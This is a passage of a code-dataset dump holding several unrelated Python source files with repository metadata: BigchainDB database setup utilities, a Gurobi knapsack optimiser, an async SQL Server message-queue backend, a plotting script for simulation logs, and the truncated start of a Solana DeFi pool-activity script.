exceptions\n\n\nlogger = logging.getLogger(__name__)\n\n\ndef get_conn():\n '''Get the connection to the database.'''\n\n return r.connect(bigchaindb.config['database']['host'],\n bigchaindb.config['database']['port'])\n\n\ndef get_database_name():\n return bigchaindb.config['database']['name']\n\n\ndef create_database(conn, dbname):\n if r.db_list().contains(dbname).run(conn):\n raise exceptions.DatabaseAlreadyExists('Database `{}` already exists'.format(dbname))\n\n logger.info('Create database `%s`.', dbname)\n r.db_create(dbname).run(conn)\n\n\ndef create_table(conn, dbname, table_name):\n logger.info('Create `%s` table.', table_name)\n # create the table\n r.db(dbname).table_create(table_name).run(conn)\n\n\ndef create_bigchain_secondary_index(conn, dbname):\n logger.info('Create `bigchain` secondary index.')\n # to order blocks by timestamp\n r.db(dbname).table('bigchain')\\\n .index_create('block_timestamp', r.row['block']['timestamp'])\\\n .run(conn)\n # to query the bigchain for a transaction id\n r.db(dbname).table('bigchain')\\\n .index_create('transaction_id',\n r.row['block']['transactions']['id'], multi=True)\\\n .run(conn)\n # secondary index for payload data by UUID\n r.db(dbname).table('bigchain')\\\n .index_create('payload_uuid',\n r.row['block']['transactions']['transaction']['data']['uuid'], multi=True)\\\n .run(conn)\n # add table index buaa\n r.db(dbname).table('bigchain').index_create('block_transaction_timestamp',\n r.row['block']['transactions']['transaction']['timestamp'], multi=True).run(conn)\n\n # wait for rethinkdb to finish creating secondary indexes\n r.db(dbname).table('bigchain').index_wait().run(conn)\n\n\ndef create_backlog_secondary_index(conn, dbname):\n logger.info('Create `backlog` secondary index.')\n # to order transactions by timestamp\n r.db(dbname).table('backlog')\\\n .index_create('transaction_timestamp',\n r.row['transaction']['timestamp'])\\\n .run(conn)\n # compound index to read transactions from the backlog per assignee\n r.db(dbname).table('backlog')\\\n .index_create('assignee__transaction_timestamp',\n [r.row['assignee'], r.row['transaction']['timestamp']])\\\n .run(conn)\n\n # wait for rethinkdb to finish creating secondary indexes\n r.db(dbname).table('backlog').index_wait().run(conn)\n\n\ndef create_votes_secondary_index(conn, dbname):\n logger.info('Create `votes` secondary index.')\n # compound index to order votes by block id and node\n r.db(dbname).table('votes')\\\n .index_create('block_and_voter',\n [r.row['vote']['voting_for_block'],\n r.row['node_pubkey']])\\\n .run(conn)\n\n # wait for rethinkdb to finish creating secondary indexes\n r.db(dbname).table('votes').index_wait().run(conn)\n\n\ndef init():\n # Try to access the keypair, throws an exception if it does not exist\n b = bigchaindb.Bigchain()\n\n conn = get_conn()\n dbname = get_database_name()\n create_database(conn, dbname)\n\n table_names = ['bigchain', 'backlog', 'votes']\n for table_name in table_names:\n create_table(conn, dbname, table_name)\n create_bigchain_secondary_index(conn, dbname)\n create_backlog_secondary_index(conn, dbname)\n create_votes_secondary_index(conn, dbname)\n\n logger.info('Create genesis block.')\n b.create_genesis_block()\n logger.info('Done, have fun!')\n\n\ndef drop(assume_yes=False):\n conn = get_conn()\n dbname = bigchaindb.config['database']['name']\n\n if assume_yes:\n response = 'y'\n else:\n response = input('Do you want to drop `{}` database? [y/n]: '.format(dbname))\n\n if response == 'y':\n try:\n logger.info('Drop database `%s`', dbname)\n r.db_drop(dbname).run(conn)\n logger.info('Done.')\n except r.ReqlOpFailedError:\n raise exceptions.DatabaseDoesNotExist('Database `{}` does not exist'.format(dbname))\n else:\n logger.info('Drop aborted')\n", "repo_name": "BUAANLSDE/Simplechaindb", "sub_path": "bigchaindb/db/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 4295, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "16", "api": [{"api_name": "logging.getLogger", "line_number": 11, "usage_type": "call"}, {"api_name": "rethinkdb.connect", "line_number": 17, "usage_type": "call"}, {"api_name": "bigchaindb.config", "line_number": 17, "usage_type": "attribute"}, {"api_name": "bigchaindb.config", "line_number": 18, "usage_type": "attribute"}, {"api_name": "bigchaindb.config", "line_number": 22, "usage_type": "attribute"}, {"api_name": "rethinkdb.db_list", "line_number": 26, "usage_type": "call"}, {"api_name": "bigchaindb.exceptions.DatabaseAlreadyExists", "line_number": 27, "usage_type": "call"}, {"api_name": "bigchaindb.exceptions", "line_number": 27, "usage_type": "name"}, {"api_name": "rethinkdb.db_create", "line_number": 30, "usage_type": "call"}, {"api_name": "rethinkdb.db", "line_number": 36, "usage_type": "call"}, {"api_name": "rethinkdb.db", "line_number": 42, "usage_type": "call"}, {"api_name": "rethinkdb.row", "line_number": 43, "usage_type": "attribute"}, {"api_name": "rethinkdb.db", "line_number": 46, "usage_type": "call"}, {"api_name": "rethinkdb.row", "line_number": 48, "usage_type": "attribute"}, {"api_name": "rethinkdb.db", "line_number": 51, "usage_type": "call"}, {"api_name": "rethinkdb.row", "line_number": 53, "usage_type": "attribute"}, {"api_name": "rethinkdb.db", "line_number": 56, "usage_type": "call"}, {"api_name": "rethinkdb.row", "line_number": 57, "usage_type": "attribute"}, {"api_name": "rethinkdb.db", "line_number": 60, "usage_type": "call"}, {"api_name": "rethinkdb.db", "line_number": 66, "usage_type": "call"}, {"api_name": "rethinkdb.row", "line_number": 68, "usage_type": "attribute"}, {"api_name": "rethinkdb.db", "line_number": 71, "usage_type": "call"}, {"api_name": "rethinkdb.row", "line_number": 73, "usage_type": "attribute"}, {"api_name": "rethinkdb.db", "line_number": 77, "usage_type": "call"}, {"api_name": "rethinkdb.db", "line_number": 83, "usage_type": "call"}, {"api_name": "rethinkdb.row", "line_number": 85, "usage_type": "attribute"}, {"api_name": "rethinkdb.row", "line_number": 86, "usage_type": "attribute"}, {"api_name": "rethinkdb.db", "line_number": 90, "usage_type": "call"}, {"api_name": "bigchaindb.Bigchain", "line_number": 95, "usage_type": "call"}, {"api_name": "bigchaindb.config", "line_number": 115, "usage_type": "attribute"}, {"api_name": "rethinkdb.db_drop", "line_number": 125, "usage_type": "call"}, {"api_name": "rethinkdb.ReqlOpFailedError", "line_number": 127, "usage_type": "attribute"}, {"api_name": "bigchaindb.exceptions.DatabaseDoesNotExist", "line_number": 128, "usage_type": "call"}, {"api_name": "bigchaindb.exceptions", "line_number": 128, "usage_type": "name"}]} +{"seq_id": "8109935929", "text": "import gurobipy\n\nclass KnapsackFeaturesMIP(object):\n \"\"\"\n Assume that each stop adds to the total features linearly, and therefore\n solve a Knapsack problems to maximize the utility\n \"\"\"\n def __init__(self,dict_feat_cap,dict_stop_feat_weight,dict_stop_dual):\n self.dict_feat_cap = dict_feat_cap # dict[feat] = max_cap\n self.dict_stop_feat_weight = dict_stop_feat_weight # dict[stop_id][feat] = weight\n self.dict_stop_dual = dict_stop_dual # dict[stop_id] = dual value\n\n # MIP parameters\n self.modelOptim = gurobipy.Model(\"MIP for set Knapscak problem add heuristic\")\n self.modelOptim.Params.LogToConsole = 0\n self.modelOptim.modelSense = gurobipy.GRB.MAXIMIZE\n self.modelOptim.Params.LogFile = 'knapsak_mip.log'\n # self.modelOptim.Params.Method = -1\n\n self.EPSILON = 0.01\n\n # storage\n self.var_activation_stop = {} # a dict[stop_id] = var\n\n\n def _create_var_stops(self):\n \"\"\"\n Create the stop variable, binary\n \"\"\"\n for stop_id in self.dict_stop_feat_weight:\n varname = 'act_' + stop_id\n revenue = self.dict_stop_dual[stop_id]\n self.var_activation_stop[stop_id] = self.modelOptim.addVar(0,1,revenue,gurobipy.GRB.BINARY,varname)\n\n\n def _cst_max_cap_feature(self):\n \"\"\"\n Ensure that each stop doesn't push too much the boundaries so that we stay within the\n same leaf\n \"\"\"\n for feature in self.dict_feat_cap:\n cst_name = 'Cap_' + feature\n cap = self.dict_feat_cap[feature]\n\n if cap >=0:\n self.modelOptim.addConstr(sum(self.var_activation_stop[stop_id] * self.dict_stop_feat_weight[stop_id][feature] for stop_id in self.var_activation_stop.keys()) <= cap,\n cst_name)\n else:\n self.modelOptim.addConstr(sum(self.var_activation_stop[stop_id] * self.dict_stop_feat_weight[stop_id][feature] for stop_id in self.var_activation_stop.keys()) >= cap,\n cst_name)\n\n def _retrieve_solution(self):\n \"\"\"\n :return: a list of selected_stop\n \"\"\"\n list_stop_id = []\n for stop_id in self.var_activation_stop:\n var = self.var_activation_stop[stop_id]\n\n if abs(var.x) >= self.EPSILON:\n list_stop_id.append(stop_id)\n\n return list_stop_id\n\n\n def solve(self):\n \"\"\"\n Main function, solve the knapsack problem\n :return: the list of selected stop_id\n \"\"\"\n self._create_var_stops()\n self._cst_max_cap_feature()\n self.modelOptim.optimize()\n\n return self._retrieve_solution()\n", "repo_name": "jpoulletXaccount/MIT_thesis_OR_ML", "sub_path": "src/optimization_step/scp_approach/heuristics_improvement/Knapsack_add_MIP.py", "file_name": "Knapsack_add_MIP.py", "file_ext": "py", "file_size_in_byte": 2792, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "gurobipy.Model", "line_number": 14, "usage_type": "call"}, {"api_name": "gurobipy.GRB", "line_number": 16, "usage_type": "attribute"}, {"api_name": "gurobipy.GRB", "line_number": 33, "usage_type": "attribute"}]} +{"seq_id": "16610015731", "text": "import logging\nimport arrow\nimport uuid\nimport copy\nimport asyncio\nimport aioodbc\nfrom ..loadconfig import load\n\nlogger = logging.getLogger('starqueue')\n\nclass NoMessagesAvailableException(Exception):\n pass\n\n__all__ = [\n 'DatabaseQueue',\n]\n\n################################################################################\n### IMPORTANT!!!!\n### We only EVER use the database clock for dates and times.\n### Everything about this system is date and time driven so it is important that a single clock is used.\n### NEVER use Python datetime for setting dates/times in records - push it into the database.\n###\n### You will be vaporised by invading aliens if you disobey!\n###\n################################################################################\n\nclass DatabaseQueue():\n\n def __init__(self):\n self.db_type = 'sqlserver'\n self.MaxReceivesInfoForAllQueues = {} # contains {accountid: {queuename: (int)MaxReceives}}\n self.pool = None\n\n async def get_pool(self):\n if not self.pool:\n DB_USERNAME, DB_HOST, DB_PORT, DB_PASSWORD, DB_DATABASENAME, DB_TYPE = load()\n await self.create_pool(DB_USERNAME, DB_HOST, DB_PORT, DB_PASSWORD, DB_DATABASENAME)\n\n async def create_pool(self, DB_USERNAME, DB_HOST, DB_PORT, DB_PASSWORD, DB_DATABASENAME):\n print(f'initialising {self.db_type} database connection')\n print(\n f'DB_USERNAME: {DB_USERNAME}, DB_HOST: {DB_HOST}, DB_PORT: {DB_PORT}, DB_DATABASENAME: {DB_DATABASENAME}')\n\n # notice the double braces\n dsn = f'Driver={{ODBC Driver 17 for SQL Server}};Server={DB_HOST};UID={DB_USERNAME};PWD={DB_PASSWORD};Database={DB_DATABASENAME}'\n loop = asyncio.get_running_loop()\n self.pool = await aioodbc.create_pool(dsn=dsn, loop=loop, autocommit=False)\n print(f'initialising {self.db_type} database connection complete')\n\n async def shutdown(self):\n await self.pool.close()\n await self.pool.wait_closed()\n\n async def CountWaitingMessagesInQueue(self, max_to_count, AccountId, QueueName):\n print('STD CountWaitingMessagesInQueue')\n # the purpose of this function is to count the number of messages in the queue, but only up to a limit\n # this is used by the polling mechanism which needs to know how many messages are waiting, but it is\n # interested only up to the number of inbound client requests waiting, thus the LIMIT\n await self.get_pool()\n async with self.pool.acquire() as connection:\n async with connection.cursor() as cursor:\n sql = '''\\\n SELECT COUNT(*) as count\n FROM (\n SELECT TOP(?) \n 1 as foo\n FROM message_queue\n WHERE queuename = ?\n AND accountid = ?\n AND deleted = 0\n AND visibilitytimeout < SYSUTCDATETIME()\n ) as temp\n ;'''\n params = (\n max_to_count,\n str(QueueName),\n str(AccountId),\n )\n try:\n await cursor.execute(sql, params)\n result = await cursor.fetchone()\n return int(result.count)\n except Exception as e:\n print(f\"CountWaitingMessagesInQueue FAILED!! {repr(e)}\")\n\n async def MessageDelete(self, api_request_data):\n print('STD MessageDelete')\n # it would be more efficient to issue a single SQL statement but it's more simple to reuse MessageDelete\n for item in api_request_data['ReceiptHandles']:\n await self.MessageDeleteSingle({'ReceiptHandle': item})\n response_data = {\"MessageDeleteResult\": {}}\n return response_data\n\n async def MessageDeleteSingle(self, api_request_data):\n print('STD MessageDeleteSingle')\n await self.get_pool()\n async with self.pool.acquire() as connection:\n async with connection.cursor() as cursor:\n sql = '''\\\n DELETE FROM message_queue \n WHERE receipthandle = ?'''\n params = (\n api_request_data['ReceiptHandle'],\n )\n try:\n await cursor.execute('BEGIN TRANSACTION')\n result = await connection.fetchrow(sql, params)\n await cursor.execute('COMMIT TRANSACTION')\n except Exception as e:\n await cursor.execute('ROLLBACK TRANSACTION')\n print(f\"MessageDelete ROLLBACK TRANSACTION {repr(e)}\")\n response_data = {\"MessageDeleteResult\": {}}\n return response_data\n\n async def QueueClear(self, api_request_data):\n print('STD QueueClear')\n await self.get_pool()\n async with self.pool.acquire() as connection:\n async with connection.cursor() as cursor:\n sql = f'''\\\n DELETE FROM message_queue \n WHERE accountid = ? \n AND queuename = ? \n '''\n params = (\n api_request_data['accountid'],\n api_request_data['queuename'],\n )\n try:\n await cursor.execute('BEGIN TRANSACTION')\n await cursor.execute(sql, params)\n await cursor.execute('COMMIT TRANSACTION')\n except Exception as e:\n await cursor.execute('ROLLBACK TRANSACTION')\n print(f\"QueueClear ROLLBACK TRANSACTION {repr(e)}\")\n response_data = {\"QueueClearResponse\": {}}\n return response_data\n\n async def QueuesList(self, api_request_data):\n print('STD QueuesList')\n await self.get_pool()\n async with self.pool.acquire() as connection:\n async with connection.cursor() as cursor:\n try:\n sql = f'''\\\n SELECT TOP 10000 accountid, queuename, count(1) as messagecount\n FROM message_queue\n GROUP BY accountid, queuename'''\n await cursor.execute(sql)\n result = await cursor.fetchall()\n queues = [{'AccountId': str(item.accountid), 'QueueName': item.queuename, 'Count': item.messagecount} for\n item in result]\n except Exception as e:\n print(f\"QueuesList FAILED!! {repr(e)}\")\n response_data = {\"QueuesListResult\": queues}\n return response_data\n\n\n async def MaxReceivesExceededTidyupTask(self):\n print('STD MaxReceivesExceededTidyupTask')\n '''\n deletes messages that have been received more times than permitted by MaxReceives\n\n this function is run by the server every N seconds\n\n self.MaxReceivesInfoForAllQueues holds the details of the queues and the MaxReceives value to apply\n\n self.MaxReceivesInfoForAllQueues is updated with each inbound request by MessageReceive\n\n self.MaxReceivesInfoForAllQueues is pruned of values each time this function runs\n '''\n # we copy it because we will be mutating the original\n copy_MaxReceivesInfoForAllQueues = copy.deepcopy(self.MaxReceivesInfoForAllQueues)\n for accountid in copy_MaxReceivesInfoForAllQueues.keys():\n for queuename in copy_MaxReceivesInfoForAllQueues[accountid].keys():\n item = copy_MaxReceivesInfoForAllQueues[accountid][queuename]\n MaxReceives = item['MaxReceives']\n\n # remove queue from the MaxReceives - this prevents memory leak for large variety of queuenames\n # we do this BEFORE carrying out the deletions\n del self.MaxReceivesInfoForAllQueues[accountid][queuename]\n # and if no queue names left under the 'accountid' key then remove that too\n if not bool(self.MaxReceivesInfoForAllQueues[accountid]):\n del self.MaxReceivesInfoForAllQueues[accountid]\n\n await self.MaxReceivesExceededMessageDeletesFromQueue(accountid, queuename, MaxReceives)\n\n async def MaxReceivesExceededMessageDeletesFromQueue(self, accountid, queuename, MaxReceives):\n print('STD MaxReceivesExceededMessageDeletesFromQueue')\n await self.get_pool()\n async with self.pool.acquire() as connection:\n async with connection.cursor() as cursor:\n sql = f'''\\\n DELETE\n FROM message_queue\n WHERE queuename = ?\n AND deleted = 0\n AND accountid = ?\n AND visibilitytimeout < SYSUTCDATETIME()\n AND approximatereceivecount >= ?\n ;'''\n params = (\n str(queuename),\n str(accountid),\n int(MaxReceives),\n )\n try:\n await cursor.execute('BEGIN TRANSACTION')\n await cursor.execute(sql, params)\n await cursor.execute('COMMIT TRANSACTION')\n except Exception as e:\n await cursor.execute('ROLLBACK TRANSACTION')\n logger.critical(f'MaxReceivesExceededMessageDeletesFromQueue: ROLLBACK {repr(e)}')\n\n async def MessageRetentionPeriodTidyupTask(self):\n print('STD MessageRetentionPeriodTidyupTask')\n await self.get_pool()\n async with self.pool.acquire() as connection:\n async with connection.cursor() as cursor:\n sql = f'''DELETE FROM message_queue WHERE messageretentionperiod < SYSUTCDATETIME();'''\n try:\n await cursor.execute('BEGIN TRANSACTION')\n result = await connection.fetchrow(sql)\n await cursor.execute('COMMIT TRANSACTION')\n except Exception as e:\n await cursor.execute('ROLLBACK TRANSACTION')\n print(f\"MessageRetentionPeriodTidyupTask ROLLBACK TRANSACTION {repr(e)}\")\n\n\n async def MessageReceive(self, api_request_data):\n print('STD MessageReceive')\n messages = []\n # update DatabaseQueue.MaxReceives - this defines threshhold for the MaxReceives tidyup task\n x = {api_request_data['accountid']: {api_request_data['queuename']: api_request_data['MaxReceives']}}\n self.MaxReceivesInfoForAllQueues.update(x)\n max_messages_to_receive = api_request_data['MaxNumberOfMessages']\n while len(messages) < max_messages_to_receive:\n message = await self.MessageReceiveSingle(api_request_data)\n if not message:\n # we read messages until no more are available or reached max_messages_to_receive, then return what we got.\n break\n messages.append(message)\n response_data = {\"MessageReceiveResult\": messages}\n return response_data\n\n async def MessageReceiveSingle(self, api_request_data):\n print('STD MessageReceiveSingle')\n # update self.MaxReceivesInfoForAllQueues - this defines threshhold for the MaxReceives tidyup task\n x = {\n api_request_data['accountid']: {\n api_request_data['queuename']: {\n 'MaxReceives': api_request_data['MaxReceives'],\n }\n }\n }\n self.MaxReceivesInfoForAllQueues.update(x)\n\n await self.get_pool()\n async with self.pool.acquire() as connection:\n async with connection.cursor() as cursor:\n queuename = api_request_data['queuename']\n accountid = api_request_data['accountid']\n VisibilityTimeout = api_request_data['VisibilityTimeout']\n date_sort_order = 'ASC'\n sql = f'''\\\n UPDATE message_queue WITH (READPAST) \n SET \n visibilitytimeout = DATEADD(second, ?, CURRENT_TIMESTAMP), \n receipthandle = newid(),\n approximatefirstreceivetimestamp = COALESCE(approximatefirstreceivetimestamp, SYSUTCDATETIME()),\n approximatereceivecount = approximatereceivecount + 1 \n OUTPUT \n INSERTED.accountid,\n INSERTED.approximatefirstreceivetimestamp,\n INSERTED.approximatereceivecount,\n INSERTED.md5ofmessagebody,\n INSERTED.messagebody,\n INSERTED.messageid,\n INSERTED.queuename,\n INSERTED.receipthandle,\n INSERTED.senttimestamp,\n INSERTED.sequencenumber\n WHERE messageid = (\n SELECT TOP 1 messageid\n FROM message_queue\n WHERE queuename = ?\n AND accountid = ?\n AND deleted = 0\n AND visibilitytimeout < SYSUTCDATETIME()\n AND approximatereceivecount < ?\n ORDER BY senttimestamp {date_sort_order}\n )'''\n params = (\n VisibilityTimeout,\n str(queuename),\n str(accountid),\n api_request_data['MaxReceives'],\n )\n try:\n await cursor.execute('BEGIN TRANSACTION')\n await cursor.execute(sql, params)\n result = await cursor.fetchone()\n if (result == []) or (not result):\n raise NoMessagesAvailableException('Situation normal, no messages available.')\n message_data = {}\n message_data['AccountId'] = result.accountid\n message_data['ApproximateFirstReceiveTimestamp'] = result.approximatefirstreceivetimestamp\n message_data['ApproximateReceiveCount'] = result.approximatereceivecount\n message_data['MD5OfMessageBody'] = result.md5ofmessagebody\n message_data['MessageBody'] = result.messagebody\n message_data['MessageId'] = result.messageid\n message_data['QueueName'] = result.queuename\n message_data['ReceiptHandle'] = result.receipthandle\n message_data['SentTimestamp'] = result.senttimestamp\n # do some transformations\n message_data['ApproximateFirstReceiveTimestamp'] = arrow.get(\n message_data['ApproximateFirstReceiveTimestamp']).isoformat()\n message_data['MessageDeduplicationId'] = message_data['MessageDeduplicationId'] or ''\n message_data['MessageId'] = str(message_data['MessageId'])\n message_data['AccountId'] = str(message_data['AccountId'])\n message_data['ReceiptHandle'] = str(message_data['ReceiptHandle'])\n message_data['SentTimestamp'] = arrow.get(message_data['SentTimestamp']).isoformat()\n await cursor.execute('COMMIT TRANSACTION')\n return message_data\n except NoMessagesAvailableException as e:\n # normal situation, no messages found\n await cursor.execute('ROLLBACK TRANSACTION')\n except Exception as e:\n logger.critical(f\"MessageReceive UNKNOWN ERROR ROLLBACK TRANSACTION {repr(e)}\")\n await cursor.execute('ROLLBACK TRANSACTION')\n\n async def MessageSend(self, api_request_data):\n print('STD MessageSend')\n VisibilityTimeout = api_request_data['VisibilityTimeout']\n MessageRetentionPeriod = api_request_data['MessageRetentionPeriod']\n await self.get_pool()\n async with self.pool.acquire() as connection:\n async with connection.cursor() as cursor:\n sql = f'''\\\n INSERT INTO message_queue \n (accountid, \n queuename, \n messagebody, \n visibilitytimeout, \n messageretentionperiod, \n md5ofmessagebody) \n OUTPUT INSERTED.messageid, INSERTED.md5ofmessagebody, INSERTED.sequencenumber\n VALUES (\n ?, \n ?, \n ?, \n DATEADD(second, ?, CURRENT_TIMESTAMP), \n DATEADD(second, ?, CURRENT_TIMESTAMP), \n ?)'''\n params = (\n str(api_request_data['accountid']),\n api_request_data['queuename'],\n api_request_data['MessageBody'],\n VisibilityTimeout,\n MessageRetentionPeriod,\n api_request_data['MD5OfMessageBody'],\n )\n try:\n await cursor.execute('BEGIN TRANSACTION')\n await cursor.execute(sql, params)\n result = await cursor.fetchone()\n print(result)\n await cursor.execute('COMMIT')\n '''\n TODO WHERE IS THE CORRECT EXCEPTION FOR THIS?\n except asyncpg.exceptions.UniqueViolationError:\n await cursor.execute('ROLLBACK TRANSACTION')\n response_data = {\n \"MessageSendResult\": {\n \"Error\": {\n \"Type\": \"Sender\",\n \"Code\": \"DuplicateMessage\",\n \"Message\": f\"Duplicate message. MessageDeduplicationId is: {data['MessageDeduplicationId']}\",\n }\n }\n }\n return response_data\n '''\n except Exception as e:\n logger.critical(f\"UNKNOWN DATABASE ERROR IN MESSAGESEND {repr(e)}\")\n await cursor.execute('ROLLBACK TRANSACTION')\n response_data = {\n \"MessageSendResult\": {\n \"Error\": {\n \"Code\": \"UnknownError\",\n \"Message\": f\"Unknown error\",\n },\n }\n }\n return response_data\n\n response_data = {\n \"MessageSendResult\": {\n \"MessageId\": str(result.messageid),\n \"MD5OfMessageBody\": result.md5ofmessagebody\n },\n }\n return response_data\n\n", "repo_name": "starqueue/starqueue", "sub_path": "starqueueserver/db/sqlserver/ostd.py", "file_name": "ostd.py", "file_ext": "py", "file_size_in_byte": 18951, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 13, "dataset": "github-code", "pt": "16", "api": [{"api_name": "logging.getLogger", "line_number": 9, "usage_type": "call"}, {"api_name": "loadconfig.load", "line_number": 37, "usage_type": "call"}, {"api_name": "asyncio.get_running_loop", "line_number": 47, "usage_type": "call"}, {"api_name": "aioodbc.create_pool", "line_number": 48, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 174, "usage_type": "call"}, {"api_name": "arrow.get", "line_number": 317, "usage_type": "call"}, {"api_name": "arrow.get", "line_number": 323, "usage_type": "call"}]} +{"seq_id": "31038096946", "text": "import numpy as np\nimport pylab as P\nfrom scipy.special import erfc,erf\nimport math\n\ndef g(t):\n n = 10000.0\n A = 100e-6*100e-6\n V = 100e-6*100e-6*100e-6\n k = 5e-6\n D = 1e-6\n h = k/D\n return n*A/(h*V)*(np.exp(h*h*D*t)*erfc(h*np.sqrt(D*t))-1.0+2/np.pi*h*np.sqrt(D*t))\n\ndef g2(t):\n n = 10000.0\n A = 100e-6*100e-6\n V = 100e-6*100e-6*100e-6\n k = 5e-6\n D = 1e-6\n h = k/D\n return n*A/(h*V)*(math.exp(h*h*D*t)*(1-erf(h*math.sqrt(D*t)))-1.0+2/math.pi*h*math.sqrt(D*t))\n\nlabelFontSize = 14\ntickFontSize = 14\nlegendFontSize = 14\nlineFontSize = 14\n\n#filenames = ['IterateLogXY.csv','IterateLogXZ.csv','IterateLogYZ.csv','IterateLogOffXY.csv', 'IterateLogOffXZ.csv', 'IterateLogOffYZ.csv']\nfilenames = ['IterateLogOffXY.csv', 'IterateLogOffXZ.csv', 'IterateLogOffYZ.csv']\n#filenames = ['IterateLogOffXYo.csv', 'IterateLogOffXZo.csv', 'IterateLogOffYZo.csv']\n#filenames = ['IterateLogXYo.csv','IterateLogXZo.csv','IterateLogYZo.csv']\n#filenames = ['IterateLogXY.csv','IterateLogXZ.csv','IterateLogYZ.csv']\nlegendTitles = []\nlines = ['--', '--', '--', '--', '--', '--', '-', '-']\ncolors = ['y', 'r', 'b', 'm', 'c', 'g', '#6b420c']\n\nP.xticks(fontsize=tickFontSize)\nP.yticks(fontsize=tickFontSize)\n\n#data = np.loadtxt('off_lattice.csv', delimiter=\",\")\ndata = np.loadtxt('surface_adsorption.csv', delimiter=\",\")\nrows,cols = data.shape\ncol0 = data[0:rows, cols-2:cols-1]\ncol1 = data[0:rows, cols-1:cols]\n\nP.plot(col0, col1, label=\"Mathematica\", color='k')\n\nfor i in range(len(filenames)):\n f = open(filenames[i], 'r')\n legendTitles = f.readline().strip().split(\",\")\n logInterval = float(legendTitles[0].split(\"=\")[1])\n len_x = float(legendTitles[1].split(\"=\")[1])\n len_y = float(legendTitles[2].split(\"=\")[1])\n len_z = float(legendTitles[3].split(\"=\")[1])\n voxelRadius = float(legendTitles[4].split(\"=\")[1])\n scale = voxelRadius*2\n speciesNames = []\n speciesRadii = []\n for j in range(len(legendTitles)-5):\n speciesNames.append(legendTitles[j+5].split(\"=\")[0])\n speciesRadii.append(float(legendTitles[j+5].split(\"=\")[1]))\n speciesSize = len(speciesNames)\n\n data = np.genfromtxt(filenames[i], delimiter=',', skip_header=1).T\n\n colSize = len(data)-1\n for j in range(colSize):\n P.plot(data[0], data[j+1], ls=lines[i], color=colors[i], label=filenames[i], linewidth=1.5)\n\n\n#x = np.linspace(0,200,50)\n#P.plot(x, g(x))\n\n#y = []\n#for i in x:\n# y.append(g2(i))\n#P.plot(x, y)\n\n\n#data = np.loadtxt('plot-data.csv', delimiter=\",\")\n\n#P.plotfile('plot-data.csv', delimiter=',', cols=(0, 1), names=('col1', 'col2'), marker='o')\n\n\nax = P.gca()\nax.grid(color='b', linestyle='--')\n#ax.yaxis.set_major_locator(MaxNLocator(14))\nleg = P.legend(loc=0, labelspacing=0.2, handletextpad=0.2, fancybox=True)\nP.ylabel('# Molecules')\nP.xlabel('Time (s)')\nP.show()\n\n", "repo_name": "satya-arjunan/spatiocyte-models", "sub_path": "accuracy/plotIterateLog.py", "file_name": "plotIterateLog.py", "file_ext": "py", "file_size_in_byte": 2758, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "numpy.exp", "line_number": 13, "usage_type": "call"}, {"api_name": "scipy.special.erfc", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 13, "usage_type": "attribute"}, {"api_name": "math.exp", "line_number": 22, "usage_type": "call"}, {"api_name": "scipy.special.erf", "line_number": 22, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 22, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 22, "usage_type": "attribute"}, {"api_name": "pylab.xticks", "line_number": 38, "usage_type": "call"}, {"api_name": "pylab.yticks", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 42, "usage_type": "call"}, {"api_name": "pylab.plot", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.genfromtxt", "line_number": 65, "usage_type": "call"}, {"api_name": "pylab.plot", "line_number": 69, "usage_type": "call"}, {"api_name": "pylab.gca", "line_number": 86, "usage_type": "call"}, {"api_name": "pylab.legend", "line_number": 89, "usage_type": "call"}, {"api_name": "pylab.ylabel", "line_number": 90, "usage_type": "call"}, {"api_name": "pylab.xlabel", "line_number": 91, "usage_type": "call"}, {"api_name": "pylab.show", "line_number": 92, "usage_type": "call"}]} +{"seq_id": "2205501513", "text": "import requests\nimport json \nfrom data_models import DeFiPoolActivities, DeFiSwapActivities\nfrom sqlalchemy import create_engine \nfrom sqlalchemy.dialects.postgresql import insert\nfrom sqlalchemy.ext.declarative import declarative_base\nBase = declarative_base()\nfrom sqlalchemy.sql import func\nfrom datetime import datetime \nimport os \n\nSOL = \"So11111111111111111111111111111111111111112\"\nUSDC = \"EPjFWdd5AufqSSqeM2qN1xzybapC8G4wEGGkZwyTDt1v\"\nRAY = \"4k3Dyjzvzp8eMZWUXbBCjEvwSkkk59S5iCNLY3QrkX6R\"\nUSDT = \"Es9vMFrzaCERmJfrF4H2FYD4KCoNkY11McCe8BenwNYB\"\nMSOL_USDT = \"Afvh7TWfcT1E9eEEWJk17fPjnqk36hreTJJK5g3s4fm8\"\n\nORCA_MSOL_USDC = \"HJPjoWUrhoZzkNfRpHuieeFk9WcZWjwy6PBjZ81ngndJ\"\nORCA_SOL_USDC = \"FFdjrSvNALfdgxANNpt3x85WpeVMdQSH5SEP2poM8fcK\"\nORCA_USDC_USDT = \"GjpXgKwn4VW4J2pZdS3dovM58hiXWLJtopTfqG83zY2f\"\nORCA_SLCL_USDC = \"8Gbr3TGdVhEABN52yxBqUfLxMXQqh8KRuEb44joHwHAN\"\nORCA_STSOL_SOL = \"2AEWSvUds1wsufnsDPCXjFsJCMJH5SNNm7fSF4kxys9a\"\n\npool_balance_endpoint = \"https://rest-api.hellomoon.io/v0/defi/liquidity-pools/balances\"\n\nclass DefiPoolActivitiesProcessor( object ):\n def __init__(self ) -> None:\n conn_string = 'postgresql://{}:{}@{}/{}'.format( os.getenv(\"db_user\") , os.getenv(\"db_pass\"), os.getenv(\"db_host\"), os.getenv(\"db_name\"))\n self.db = create_engine(conn_string)\n self._conn = self.db.connect()\n\n def save_activities_to_db(self, rows) :\n stmt = insert( DeFiPoolActivities, ).values(rows) \n self._conn.execute(stmt)\n\n def save_swaps_to_db(self, rows) :\n stmt = insert( DeFiSwapActivities, ).values(rows) \n self._conn.execute(stmt)\n\n#jan21\nEPOCTIME = 1674309533\n\ndef get_pool_withdrawls_deposits( token1, token2, t1, t2, pool_address 